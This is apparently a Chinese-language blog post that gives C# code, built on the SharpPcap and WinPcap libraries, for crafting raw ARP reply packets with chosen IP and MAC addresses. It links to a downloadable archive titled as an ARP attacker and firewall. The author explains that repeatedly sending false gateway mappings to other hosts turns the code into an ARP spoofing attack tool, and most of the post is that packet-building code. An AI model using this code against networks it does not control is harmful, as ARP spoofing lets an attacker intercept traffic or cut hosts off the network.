首先你要先看看ARP是什么东西，我就不给你讲了。知道原理就行。
我这个代码是调用开源项目SharpPcap开源的网络捕获项目http://sourceforge.net/projects/sharppcap/。
这个项目和所有sniffer软件一样，是用wincap库的。需要安装wincap。http://www.winpcap.org/
核心代码贴出了，就是这么简单，手动构造ARP数据包，然后通过sharppcap里的库发送出去。。。
不停的发给自己正确的网关，那就是ARP防火墙。
不停的发给别人错误的网关，那就是ARP攻击器。
///
/// 获取数据包 /// ///
public byte[] getPacket(byte[] yIP,byte[] mIP,byte[] yMAC,byte[] mMAC) { //ARP数据包 byte[] packet = new byte[] { 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0x08, 0x06, 0x00, 0x01, 0x08, 0x00, 0x06, 0x04, 0x00, 0x02, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0xc0, 0xa8, 0x01, 0x01, 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0xc0, 0xa8, 0x01, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5d, 0x27, 0xa1, 0xb5}; //循环替换IP for (int i = 0; i < 4; i++) { packet[i + 28] = yIP[i]; packet[i + 38] = mIP[i]; } //循环替换MAC for (int i = 0; i < 6; i++) { packet[i+ 22] = yMAC[i]; packet[i] = mMAC[i]; packet[i+6] = yMAC[i]; packet[i + 32] = mMAC[i]; } return packet; }
看看这个链接能下不 http://files.cnblogs.com/zifeiniu/ARP%E6%94%BB%E5%87%BB%E5%92%8C%E9%98%B2%E7%81%AB%E5%A2%99.rar
子非牛 QQ 378716196
延伸阅读
最新评论